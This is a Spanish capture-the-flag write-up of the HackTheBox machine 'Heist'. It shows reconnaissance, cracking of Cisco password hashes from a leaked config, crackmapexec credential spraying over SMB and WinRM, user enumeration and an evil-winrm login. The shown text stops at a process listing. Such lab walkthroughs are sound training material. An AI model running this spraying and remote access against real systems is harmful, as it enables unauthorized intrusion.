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Heist

Máquina Heist de Hackthebox

Publicado Actualizado
Preview Image
Por Justice-Reaper
21 min de lectura
Heist

Skills

  • Information Leakage
  • Cisco Password Cracker (password7)
  • SMB Enumeration - CrackMapExec
  • Getting more valid system users - lookupsid.py
  • Abusing WinRM - EvilWinRM
  • Creating a dump file of the Firefox process - Procdump64.exe (Windows Sysinternals)
  • Reading the password of the administrator user in the previously performed dump [Privilege Escalation]

Certificaciones

  • OSCP

Descripción

Heist es una máquina easy windows, en la página web nos encontramos un archivo config.txt de cisco que contiene varias contraseñas, las cuales crackeamos y validamos las credenciales con crackmapexec obteniendo una válida. Con estas credenciales válidas enumeramos usuarios locales de la máquina obteniendo unas credenciales mediante las cuales nos podemos conectar a través de winrm. Una vez dentro de la máquina hacemos un dump de firefox obteniendo las credenciales del usuario Administrator

Reconocimiento

Se comprueba que la máquina está activa y se determina su sistema operativo, el ttl de las máquinas windows suele ser 128, en este caso hay un nodo intermediario que hace que el ttl disminuya en una unidad

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# ping 10.129.96.157
PING 10.129.96.157 (10.129.96.157) 56(84) bytes of data.
64 bytes from 10.129.96.157: icmp_seq=1 ttl=127 time=70.3 ms
64 bytes from 10.129.96.157: icmp_seq=2 ttl=127 time=62.4 ms
^C
--- 10.129.96.157 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 62.351/66.334/70.318/3.983 ms

Nmap

Se va a realizar un escaneo de todos los puertos abiertos en el protocolo TCP a través de nmap

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# sudo nmap -p- --open --min-rate 5000 -sS -Pn -n -v 10.129.96.157 -oG openPorts
[sudo] password for justice-reaper: 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-01 11:02 CEST
Initiating SYN Stealth Scan at 11:02
Scanning 10.129.96.157 [65535 ports]
Discovered open port 80/tcp on 10.129.96.157
Discovered open port 445/tcp on 10.129.96.157
Discovered open port 135/tcp on 10.129.96.157
Discovered open port 49669/tcp on 10.129.96.157
Discovered open port 5985/tcp on 10.129.96.157
Completed SYN Stealth Scan at 11:03, 26.36s elapsed (65535 total ports)
Nmap scan report for 10.129.96.157
Host is up (0.064s latency).
Not shown: 65530 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  msrpc
445/tcp   open  microsoft-ds
5985/tcp  open  wsman
49669/tcp open  unknown

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.42 seconds
           Raw packets sent: 131084 (5.768MB) | Rcvd: 26 (1.224KB)

Se procede a realizar un análisis de detección de servicios y la identificación de versiones utilizando los puertos abiertos encontrados

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# nmap -sCV -p80,135,445,5985,49669 10.129.96.157 -oN services
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-01 11:03 CEST
Nmap scan report for 10.129.96.157
Host is up (0.092s latency).

PORT      STATE SERVICE       VERSION
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-title: Support Login Page
|_Requested resource was login.php
| http-methods: 
|_  Potentially risky methods: TRACE
135/tcp   open  msrpc         Microsoft Windows RPC
445/tcp   open  microsoft-ds?
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49669/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-08-01T09:04:41
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_clock-skew: -1s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 97.74 seconds

Web Enumeration

Al acceder al sitio web nos encontramos con esto

Nos encontramos ante un IIS 10.0

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# whatweb 10.129.96.157
http://10.129.96.157 [302 Found] Cookies[PHPSESSID], Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/10.0], IP[10.129.96.157], Microsoft-IIS[10.0], PHP[7.3.1], RedirectLocation[login.php], X-Powered-By[PHP/7.3.1]
http://10.129.96.157/login.php [200 OK] Bootstrap[3.3.7], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.129.96.157], JQuery[3.1.1], Microsoft-IIS[10.0], PHP[7.3.1], PasswordField[login_password], Script, Title[Support Login Page], X-Powered-By[PHP/7.3.1]

Si nos logueamos como usuario guest podemos ver varios mensajes

Si hacemos click en attachments nos encontramos un archivo config.txt

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version 12.2
no service pad
service password-encryption
!
isdn switch-type basic-5ess
!
hostname ios-1
!
security passwords min-length 12
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
!
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
!
!
ip ssh authentication-retries 5
ip ssh version 2
!
!
router bgp 100
 synchronization
 bgp log-neighbor-changes
 bgp dampening
 network 192.168.0.0Â mask 300.255.255.0
 timers bgp 3 9
 redistribute connected
!
ip classless
ip route 0.0.0.0 0.0.0.0 192.168.0.1
!
!
access-list 101 permit ip any any
dialer-list 1 protocol ip list 101
!
no ip http server
no ip http secure-server
!
line vty 0 4
 session-timeout 600
 authorization exec SSH
 transport input ssh

La contraseña hasheada la podemos desencriptar mediante rainbow tables en https://hashes.com/en/decrypt/hash

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$1$pdQG$o8nrSzsGXeaduXrjlvKc91:stealth1agent

Las contraseñas de Cisco tipo 7 las podemos decodificar en https://www.firewall.cx/cisco/cisco-routers/cisco-type7-password-crack.html

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$uperP@ssword
Q4)sJu\Y8qz*A3?d

Nos creamos un fichero llamado usernames

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rout3r
admin
hazard

Nos creamos un fichero llamado passwords

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stealth1agent
$uperP@ssword
Q4)sJu\Y8qz*A3?d

SMB Enumeration

Enumeramos usuarios válidos usando crackmapexec y obtenemos unas credenciales válidas

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# crackmapexec smb 10.129.187.132 -u usernames -p passwords --continue-on-succes
SMB         10.129.187.132  445    SUPPORTDESK      [*] Windows 10 / Server 2019 Build 17763 x64 (name:SUPPORTDESK) (domain:SupportDesk) (signing:False) (SMBv1:False)
SMB         10.129.187.132  445    SUPPORTDESK      [-] SupportDesk\rout3r:stealth1agent STATUS_LOGON_FAILURE 
SMB         10.129.187.132  445    SUPPORTDESK      [-] SupportDesk\rout3r:$uperP@ssword STATUS_LOGON_FAILURE 
SMB         10.129.187.132  445    SUPPORTDESK      [-] SupportDesk\rout3r:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE 
SMB         10.129.187.132  445    SUPPORTDESK      [-] SupportDesk\admin:stealth1agent STATUS_LOGON_FAILURE 
SMB         10.129.187.132  445    SUPPORTDESK      [-] SupportDesk\admin:$uperP@ssword STATUS_LOGON_FAILURE 
SMB         10.129.187.132  445    SUPPORTDESK      [-] SupportDesk\admin:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE 
SMB         10.129.187.132  445    SUPPORTDESK      [-] SupportDesk\secret:stealth1agent STATUS_LOGON_FAILURE 
SMB         10.129.187.132  445    SUPPORTDESK      [-] SupportDesk\secret:$uperP@ssword STATUS_LOGON_FAILURE 
SMB         10.129.187.132  445    SUPPORTDESK      [-] SupportDesk\secret:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE 
SMB         10.129.187.132  445    SUPPORTDESK      [+] SupportDesk\hazard:stealth1agent 
SMB         10.129.187.132  445    SUPPORTDESK      [-] SupportDesk\hazard:$uperP@ssword STATUS_LOGON_FAILURE 
SMB         10.129.187.132  445    SUPPORTDESK      [-] SupportDesk\hazard:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE

Con smbmap podemos ver que recursos se comparten, en este caso no podemos conectarnos con smbclient, ni hacer monturas, ni descargar los recursos con smbmap. Lo que más me llama la atención es el directorio ROUTER

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# smbmap --no-banner -u hazard -p stealth1agent -H 10.129.187.132 -P 445 -r 'IPC$'       
[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 1 SMB connections(s) and 1 authenticated session(s)                                                               
                                                                                                                             
[+] IP: 10.129.187.132:445	Name: 10.129.187.132      	Status: Authenticated
	Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Remote Admin
	C$                                                	NO ACCESS	Default share
	IPC$                                              	READ ONLY	Remote IPC
	./IPC$
	fr--r--r--                3 Sun Dec 31 23:45:16 1600	InitShutdown
	fr--r--r--                4 Sun Dec 31 23:45:16 1600	lsass
	fr--r--r--                4 Sun Dec 31 23:45:16 1600	ntsvcs
	fr--r--r--                3 Sun Dec 31 23:45:16 1600	scerpc
	fr--r--r--                1 Sun Dec 31 23:45:16 1600	Winsock2\CatalogChangeListener-358-0
	fr--r--r--                3 Sun Dec 31 23:45:16 1600	epmapper
	fr--r--r--                1 Sun Dec 31 23:45:16 1600	Winsock2\CatalogChangeListener-1d4-0
	fr--r--r--                3 Sun Dec 31 23:45:16 1600	LSM_API_service
	fr--r--r--                3 Sun Dec 31 23:45:16 1600	eventlog
	fr--r--r--                1 Sun Dec 31 23:45:16 1600	Winsock2\CatalogChangeListener-410-0
	fr--r--r--                3 Sun Dec 31 23:45:16 1600	atsvc
	fr--r--r--                1 Sun Dec 31 23:45:16 1600	Winsock2\CatalogChangeListener-544-0
	fr--r--r--                4 Sun Dec 31 23:45:16 1600	wkssvc
	fr--r--r--                3 Sun Dec 31 23:45:16 1600	spoolss
	fr--r--r--                1 Sun Dec 31 23:45:16 1600	Winsock2\CatalogChangeListener-920-0
	fr--r--r--                3 Sun Dec 31 23:45:16 1600	trkwks
	fr--r--r--                3 Sun Dec 31 23:45:16 1600	W32TIME_ALT
	fr--r--r--                4 Sun Dec 31 23:45:16 1600	srvsvc
	fr--r--r--                1 Sun Dec 31 23:45:16 1600	Winsock2\CatalogChangeListener-25c-0
	fr--r--r--                1 Sun Dec 31 23:45:16 1600	vgauth-service
	fr--r--r--                3 Sun Dec 31 23:45:16 1600	ROUTER
	fr--r--r--                1 Sun Dec 31 23:45:16 1600	Winsock2\CatalogChangeListener-26c-0
	fr--r--r--                1 Sun Dec 31 23:45:16 1600	PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER
	fr--r--r--                1 Sun Dec 31 23:45:16 1600	gecko-crash-server-pipe.788
	fr--r--r--                1 Sun Dec 31 23:45:16 1600	chrome.788.0.110417678
	fr--r--r--                1 Sun Dec 31 23:45:16 1600	chrome.788.1.3306904
	fr--r--r--                1 Sun Dec 31 23:45:16 1600	chrome.788.2.133918730
	fr--r--r--                1 Sun Dec 31 23:45:16 1600	chrome.788.3.197230462
	fr--r--r--                1 Sun Dec 31 23:45:16 1600	chrome.788.4.31441153
	fr--r--r--                1 Sun Dec 31 23:45:16 1600	chrome.788.5.16809512
	fr--r--r--                1 Sun Dec 31 23:45:16 1600	chrome.788.6.64447448
	fr--r--r--                1 Sun Dec 31 23:45:16 1600	chrome.788.7.27000950
	fr--r--r--                1 Sun Dec 31 23:45:16 1600	chrome.788.8.97120283
	fr--r--r--                1 Sun Dec 31 23:45:16 1600	chrome.788.9.160051052
	fr--r--r--                1 Sun Dec 31 23:45:16 1600	chrome.788.10.189681338
	fr--r--r--                1 Sun Dec 31 23:45:16 1600	chrome.4212.0.5762653
	fr--r--r--                1 Sun Dec 31 23:45:16 1600	chrome.788.11.128723749
	fr--r--r--                1 Sun Dec 31 23:45:16 1600	chrome.788.12.38365861
	fr--r--r--                1 Sun Dec 31 23:45:16 1600	chrome.6248.0.52126038
	fr--r--r--                1 Sun Dec 31 23:45:16 1600	chrome.6248.1.205003119
	fr--r--r--                1 Sun Dec 31 23:45:16 1600	chrome.6248.2.179736250
	fr--r--r--                1 Sun Dec 31 23:45:16 1600	chrome.6248.3.120847887
	fr--r--r--                1 Sun Dec 31 23:45:16 1600	chrome.788.13.3147152
	fr--r--r--                1 Sun Dec 31 23:45:16 1600	chrome.788.14.93222472
	fr--r--r--                1 Sun Dec 31 23:45:16 1600	chrome.788.15.204834613
	fr--r--r--                1 Sun Dec 31 23:45:16 1600	chrome.788.16.207272103
	fr--r--r--                1 Sun Dec 31 23:45:16 1600	chrome.788.17.54858477
	fr--r--r--                1 Sun Dec 31 23:45:16 1600	chrome.788.18.149115058
	fr--r--r--                1 Sun Dec 31 23:45:16 1600	chrome.788.19.202206245
	fr--r--r--                1 Sun Dec 31 23:45:16 1600	chrome.6444.0.163006652
	fr--r--r--                1 Sun Dec 31 23:45:16 1600	chrome.6444.1.205252133
	fr--r--r--                1 Sun Dec 31 23:45:16 1600	chrome.6444.2.90436775
	fr--r--r--                1 Sun Dec 31 23:45:16 1600	chrome.788.20.69102692
	fr--r--r--                1 Sun Dec 31 23:45:16 1600	chrome.788.21.26929209
	fr--r--r--                1 Sun Dec 31 23:45:16 1600	chrome.788.22.57114521
	fr--r--r--                1 Sun Dec 31 23:45:16 1600	chrome.788.23.168171150
	fr--r--r--                1 Sun Dec 31 23:45:16 1600	chrome.788.24.37974430
	fr--r--r--                1 Sun Dec 31 23:45:16 1600	chrome.788.25.39190752
	fr--r--r--                1 Sun Dec 31 23:45:16 1600	chrome.788.26.197771899
	fr--r--r--                1 Sun Dec 31 23:45:16 1600	chrome.6688.0.159345674
	fr--r--r--                1 Sun Dec 31 23:45:16 1600	chrome.6688.1.56174452
	fr--r--r--                1 Sun Dec 31 23:45:16 1600	chrome.6688.2.4265615
	fr--r--r--                1 Sun Dec 31 23:45:16 1600	PSHost.133670253465516784.6620.DefaultAppDomain.wsmprovhost
[*] Closed 1 connections

Como tenemos unas credenciales válidas podemos enumerar usuario locales de la máquina, he probado a enumerar usuarios del dominio con crackmapexec pero no he obtenido ninguno

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# impacket-lookupsid SupportDesk/hazard:stealth1agent@10.129.187.132
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Brute forcing SIDs at 10.129.187.132
[*] StringBinding ncacn_np:10.129.187.132[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-4254423774-1266059056-3197185112
500: SUPPORTDESK\Administrator (SidTypeUser)
501: SUPPORTDESK\Guest (SidTypeUser)
503: SUPPORTDESK\DefaultAccount (SidTypeUser)
504: SUPPORTDESK\WDAGUtilityAccount (SidTypeUser)
513: SUPPORTDESK\None (SidTypeGroup)
1008: SUPPORTDESK\Hazard (SidTypeUser)
1009: SUPPORTDESK\support (SidTypeUser)
1012: SUPPORTDESK\Chase (SidTypeUser)
1013: SUPPORTDESK\Jason (SidTypeUser)

Añadimos los nuevos usuarios al archivo usernames

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rout3r
admin
secret
hazard
Administrator
Guest
DefaultAccount
WDAGUtilityAccount
None
Hazard
support
Chase
Jason

Validamos credenciales de smb

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# crackmapexec smb 10.129.187.132 -u usernames -p passwords --continue-on-succes   
SMB         10.129.187.132  445    SUPPORTDESK      [*] Windows 10 / Server 2019 Build 17763 x64 (name:SUPPORTDESK) (domain:SupportDesk) (signing:False) (SMBv1:False)
SMB         10.129.187.132  445    SUPPORTDESK      [-] SupportDesk\rout3r:stealth1agent STATUS_LOGON_FAILURE 
SMB         10.129.187.132  445    SUPPORTDESK      [-] SupportDesk\rout3r:$uperP@ssword STATUS_LOGON_FAILURE 
SMB         10.129.187.132  445    SUPPORTDESK      [-] SupportDesk\rout3r:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE 
SMB         10.129.187.132  445    SUPPORTDESK      [-] SupportDesk\admin:stealth1agent STATUS_LOGON_FAILURE 
SMB         10.129.187.132  445    SUPPORTDESK      [-] SupportDesk\admin:$uperP@ssword STATUS_LOGON_FAILURE 
SMB         10.129.187.132  445    SUPPORTDESK      [-] SupportDesk\admin:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE 
SMB         10.129.187.132  445    SUPPORTDESK      [-] SupportDesk\secret:stealth1agent STATUS_LOGON_FAILURE 
SMB         10.129.187.132  445    SUPPORTDESK      [-] SupportDesk\secret:$uperP@ssword STATUS_LOGON_FAILURE 
SMB         10.129.187.132  445    SUPPORTDESK      [-] SupportDesk\secret:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE 
SMB         10.129.187.132  445    SUPPORTDESK      [+] SupportDesk\hazard:stealth1agent 
SMB         10.129.187.132  445    SUPPORTDESK      [-] SupportDesk\hazard:$uperP@ssword STATUS_LOGON_FAILURE 
SMB         10.129.187.132  445    SUPPORTDESK      [-] SupportDesk\hazard:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE 
SMB         10.129.187.132  445    SUPPORTDESK      [-] SupportDesk\Administrator:stealth1agent STATUS_LOGON_FAILURE 
SMB         10.129.187.132  445    SUPPORTDESK      [-] SupportDesk\Administrator:$uperP@ssword STATUS_LOGON_FAILURE 
SMB         10.129.187.132  445    SUPPORTDESK      [-] SupportDesk\Administrator:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE 
SMB         10.129.187.132  445    SUPPORTDESK      [-] SupportDesk\Guest:stealth1agent STATUS_LOGON_FAILURE 
SMB         10.129.187.132  445    SUPPORTDESK      [-] SupportDesk\Guest:$uperP@ssword STATUS_LOGON_FAILURE 
SMB         10.129.187.132  445    SUPPORTDESK      [-] SupportDesk\Guest:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE 
SMB         10.129.187.132  445    SUPPORTDESK      [-] SupportDesk\DefaultAccount:stealth1agent STATUS_LOGON_FAILURE 
SMB         10.129.187.132  445    SUPPORTDESK      [-] SupportDesk\DefaultAccount:$uperP@ssword STATUS_LOGON_FAILURE 
SMB         10.129.187.132  445    SUPPORTDESK      [-] SupportDesk\DefaultAccount:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE 
SMB         10.129.187.132  445    SUPPORTDESK      [-] SupportDesk\WDAGUtilityAccount:stealth1agent STATUS_LOGON_FAILURE 
SMB         10.129.187.132  445    SUPPORTDESK      [-] SupportDesk\WDAGUtilityAccount:$uperP@ssword STATUS_LOGON_FAILURE 
SMB         10.129.187.132  445    SUPPORTDESK      [-] SupportDesk\WDAGUtilityAccount:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE 
SMB         10.129.187.132  445    SUPPORTDESK      [-] SupportDesk\None:stealth1agent STATUS_LOGON_FAILURE 
SMB         10.129.187.132  445    SUPPORTDESK      [-] SupportDesk\None:$uperP@ssword STATUS_LOGON_FAILURE 
SMB         10.129.187.132  445    SUPPORTDESK      [-] SupportDesk\None:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE 
SMB         10.129.187.132  445    SUPPORTDESK      [+] SupportDesk\Hazard:stealth1agent 
SMB         10.129.187.132  445    SUPPORTDESK      [-] SupportDesk\Hazard:$uperP@ssword STATUS_LOGON_FAILURE 
SMB         10.129.187.132  445    SUPPORTDESK      [-] SupportDesk\Hazard:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE 
SMB         10.129.187.132  445    SUPPORTDESK      [-] SupportDesk\support:stealth1agent STATUS_LOGON_FAILURE 
SMB         10.129.187.132  445    SUPPORTDESK      [-] SupportDesk\support:$uperP@ssword STATUS_LOGON_FAILURE 
SMB         10.129.187.132  445    SUPPORTDESK      [-] SupportDesk\support:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE 
SMB         10.129.187.132  445    SUPPORTDESK      [-] SupportDesk\Chase:stealth1agent STATUS_LOGON_FAILURE 
SMB         10.129.187.132  445    SUPPORTDESK      [-] SupportDesk\Chase:$uperP@ssword STATUS_LOGON_FAILURE 
SMB         10.129.187.132  445    SUPPORTDESK      [+] SupportDesk\Chase:Q4)sJu\Y8qz*A3?d 
SMB         10.129.187.132  445    SUPPORTDESK      [-] SupportDesk\Jason:stealth1agent STATUS_LOGON_FAILURE 
SMB         10.129.187.132  445    SUPPORTDESK      [-] SupportDesk\Jason:$uperP@ssword STATUS_LOGON_FAILURE 
SMB         10.129.187.132  445    SUPPORTDESK      [-] SupportDesk\Jason:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE

MSRPC Enumeration

Como la máquina víctima tiene el servicio msrpc enumeramos usuarios con crackmapexec para ver si nos podemos conectar a la máquina víctima

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# crackmapexec winrm 10.129.187.132 -u usernames -p passwords --continue-on-succes 
SMB         10.129.187.132  5985   SUPPORTDESK      [*] Windows 10 / Server 2019 Build 17763 (name:SUPPORTDESK) (domain:SupportDesk)
HTTP        10.129.187.132  5985   SUPPORTDESK      [*] http://10.129.187.132:5985/wsman
WINRM       10.129.187.132  5985   SUPPORTDESK      [-] SupportDesk\rout3r:stealth1agent
WINRM       10.129.187.132  5985   SUPPORTDESK      [-] SupportDesk\rout3r:$uperP@ssword
WINRM       10.129.187.132  5985   SUPPORTDESK      [-] SupportDesk\rout3r:Q4)sJu\Y8qz*A3?d
WINRM       10.129.187.132  5985   SUPPORTDESK      [-] SupportDesk\admin:stealth1agent
WINRM       10.129.187.132  5985   SUPPORTDESK      [-] SupportDesk\admin:$uperP@ssword
WINRM       10.129.187.132  5985   SUPPORTDESK      [-] SupportDesk\admin:Q4)sJu\Y8qz*A3?d
WINRM       10.129.187.132  5985   SUPPORTDESK      [-] SupportDesk\secret:stealth1agent
WINRM       10.129.187.132  5985   SUPPORTDESK      [-] SupportDesk\secret:$uperP@ssword
WINRM       10.129.187.132  5985   SUPPORTDESK      [-] SupportDesk\secret:Q4)sJu\Y8qz*A3?d
WINRM       10.129.187.132  5985   SUPPORTDESK      [-] SupportDesk\hazard:stealth1agent
WINRM       10.129.187.132  5985   SUPPORTDESK      [-] SupportDesk\hazard:$uperP@ssword
WINRM       10.129.187.132  5985   SUPPORTDESK      [-] SupportDesk\hazard:Q4)sJu\Y8qz*A3?d
WINRM       10.129.187.132  5985   SUPPORTDESK      [-] SupportDesk\Administrator:stealth1agent
WINRM       10.129.187.132  5985   SUPPORTDESK      [-] SupportDesk\Administrator:$uperP@ssword
WINRM       10.129.187.132  5985   SUPPORTDESK      [-] SupportDesk\Administrator:Q4)sJu\Y8qz*A3?d
WINRM       10.129.187.132  5985   SUPPORTDESK      [-] SupportDesk\Guest:stealth1agent
WINRM       10.129.187.132  5985   SUPPORTDESK      [-] SupportDesk\Guest:$uperP@ssword
WINRM       10.129.187.132  5985   SUPPORTDESK      [-] SupportDesk\Guest:Q4)sJu\Y8qz*A3?d
WINRM       10.129.187.132  5985   SUPPORTDESK      [-] SupportDesk\DefaultAccount:stealth1agent
WINRM       10.129.187.132  5985   SUPPORTDESK      [-] SupportDesk\DefaultAccount:$uperP@ssword
WINRM       10.129.187.132  5985   SUPPORTDESK      [-] SupportDesk\DefaultAccount:Q4)sJu\Y8qz*A3?d
WINRM       10.129.187.132  5985   SUPPORTDESK      [-] SupportDesk\WDAGUtilityAccount:stealth1agent
WINRM       10.129.187.132  5985   SUPPORTDESK      [-] SupportDesk\WDAGUtilityAccount:$uperP@ssword
WINRM       10.129.187.132  5985   SUPPORTDESK      [-] SupportDesk\WDAGUtilityAccount:Q4)sJu\Y8qz*A3?d
WINRM       10.129.187.132  5985   SUPPORTDESK      [-] SupportDesk\None:stealth1agent
WINRM       10.129.187.132  5985   SUPPORTDESK      [-] SupportDesk\None:$uperP@ssword
WINRM       10.129.187.132  5985   SUPPORTDESK      [-] SupportDesk\None:Q4)sJu\Y8qz*A3?d
WINRM       10.129.187.132  5985   SUPPORTDESK      [-] SupportDesk\Hazard:stealth1agent
WINRM       10.129.187.132  5985   SUPPORTDESK      [-] SupportDesk\Hazard:$uperP@ssword
WINRM       10.129.187.132  5985   SUPPORTDESK      [-] SupportDesk\Hazard:Q4)sJu\Y8qz*A3?d
WINRM       10.129.187.132  5985   SUPPORTDESK      [-] SupportDesk\support:stealth1agent
WINRM       10.129.187.132  5985   SUPPORTDESK      [-] SupportDesk\support:$uperP@ssword
WINRM       10.129.187.132  5985   SUPPORTDESK      [-] SupportDesk\support:Q4)sJu\Y8qz*A3?d
WINRM       10.129.187.132  5985   SUPPORTDESK      [-] SupportDesk\Chase:stealth1agent
WINRM       10.129.187.132  5985   SUPPORTDESK      [-] SupportDesk\Chase:$uperP@ssword
WINRM       10.129.187.132  5985   SUPPORTDESK      [+] SupportDesk\Chase:Q4)sJu\Y8qz*A3?d (Pwn3d!)
WINRM       10.129.187.132  5985   SUPPORTDESK      [-] SupportDesk\Jason:stealth1agent
WINRM       10.129.187.132  5985   SUPPORTDESK      [-] SupportDesk\Jason:$uperP@ssword
WINRM       10.129.187.132  5985   SUPPORTDESK      [-] SupportDesk\Jason:Q4)sJu\Y8qz*A3?d

Intrusión

Nos conectamos a la máquina víctima usando evil-winrm

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# evil-winrm -u 'Chase' -p 'Q4)sJu\Y8qz*A3?d' -i 10.129.187.132  
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Chase\Documents> whoami
supportdesk\chase

Privilege escalation

Si miramos en el escritorio del usuario chase nos encontramos este mensaje

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*Evil-WinRM* PS C:\Users\chase\Desktop> type todo.txt
Stuff to-do:
1. Keep checking the issues list.
2. Fix the router config.

Done:
1. Restricted access for guest user.

Listamos los procesos del sistema y me doy cuenta de que está corriendo el firefox, lo cual es bastante extraño

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*Evil-WinRM* PS C:\> ps

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
    468      18     2296       5380               360   0 csrss
    290      13     1980       4956               476   1 csrss
    357      15     3476      14460              4396   1 ctfmon
    253      14     3940      13348              3780   0 dllhost
    166       9     1864       9652       0.03   5700   1 dllhost
    614      32    29372      57384               956   1 dwm
   1491      58    23972      78428              5156   1 explorer
   1080      71   152744     230528       5.14    788   1 firefox
    347      19    10228      38556       0.05   4212   1 firefox
    401      34    35588      95060       0.72   6248   1 firefox
    378      28    22952      59916       0.28   6444   1 firefox
    355      25    16428      38760       0.13   6688   1 firefox
     49       6     1508       3776               768   0 fontdrvhost
     49       6     1792       4544               776   1 fontdrvhost
      0       0       56          8                 0   0 Idle
    964      23     6012      15200               620   0 lsass
    223      13     3168      10248              1584   0 msdtc
      0      12      308      15928                88   0 Registry
    144       8     1616       7448              5708   1 RuntimeBroker
    301      16     5488      16876              5812   1 RuntimeBroker
    274      14     3020      14972              6020   1 RuntimeBroker
    661      32    19444      61012              5628   1 SearchUI
    536      11     4904       9464               604   0 services
    684      29    15008      50704              5480   1 ShellExperienceHost
    440      17     4856      23860              4916   1 sihost
     53       3      528       1108               264   0 smss
    471      22     5824      16296              2336   0 spoolsv
    201      12     2088       9560               304   0 svchost
    150       9     1748      11572               356   0 svchost
     85       5      896       3724               728   0 svchost
    855      20     6964      22444               748   0 svchost
    862      16     5228      11904               856   0 svchost
    254      10     1984       7608               908   0 svchost
    377      13    11724      15476              1040   0 svchost
    140       7     1292       5544              1092   0 svchost
    184       9     1800       7480              1108   0 svchost
    228      12     2588      11128              1120   0 svchost
    430       9     2744       8796              1136   0 svchost
    154       7     1208       5528              1160   0 svchost
    121      15     3240       7152              1200   0 svchost
    215       9     2104       7468              1264   0 svchost
    171      10     1788       7984              1312   0 svchost
    365      17     5264      14184              1348   0 svchost
    230      13     3256       8480              1372   0 svchost
    305      12     2012       8760              1396   0 svchost
    258      13     3408      12636              1404   0 svchost
    344      14     4496      11712              1420   0 svchost
    191      12     2120      11936              1508   0 svchost
    163      10     2864       7364              1612   0 svchost
    320      10     2476       8348              1636   0 svchost
    399      32     7664      16680              1748   0 svchost
    157       8     2096       7240              1824   0 svchost
    194      11     1952       8064              1836   0 svchost
    285      13     4228      11148              1888   0 svchost
    234      11     2368       9612              1992   0 svchost
    166      12     3924      10776              2396   0 svchost
    179      22     2496       9808              2436   0 svchost
    474      20    12532      27380              2448   0 svchost
    261      13     2600       7832              2456   0 svchost
    394      16    11384      20536              2480   0 svchost
    133       9     1632       6472              2548   0 svchost
    136       8     1516       6076              2560   0 svchost
    126       7     1224       5280              2624   0 svchost
    205      11     2408       8428              2652   0 svchost
    233      14     4700      11756              2672   0 svchost
    205      12     1836       7344              2704   0 svchost
    266      19     4796      13412              2736   0 svchost
    169      10     2148      13128              2772   0 svchost
    464      16     3340      11740              2784   0 svchost
    382      23     3340      12176              3192   0 svchost
    171       9     1496       7184              3520   0 svchost
    333      18    14896      31408              3524   0 svchost
    206      11     2700      11832              3580   0 svchost
    299      20     9384      15072              4540   0 svchost
    161       9     3828      11444              4664   0 svchost
    194      15     6024      10016              4704   0 svchost
    173      11     2536      13172              4732   0 svchost
    127       7     1576       6220              4784   0 svchost
    230      12     3092      13584              4928   1 svchost
    365      18     5612      27016              4952   1 svchost
    249      14     3076      13632              5068   0 svchost
    122       7     1232       5496              5192   0 svchost
    163       9     3064       7620              5316   0 svchost
    115       7     1272       5364              6616   0 svchost
    223      11     2828      10900              6872   0 svchost
    311      16    15248      17224              6876   0 svchost
   1877       0      192         96                 4   0 System
    210      20     3984      12316              4988   1 taskhostw
    167      11     2944      10784              2632   0 VGAuthService
    142       8     1688       6756              2688   0 vm3dservice
    136       9     1804       7280              2976   1 vm3dservice
    384      22    10012      22352              2696   0 vmtoolsd
    236      18     5088      15136              5584   1 vmtoolsd
    171      11     1484       6820               468   0 wininit
    282      13     2704      12892               532   1 winlogon
    339      15     9284      19288              3932   0 WmiPrvSE
   1464      28   109968     129332       1.94   7088   0 wsmprovhost

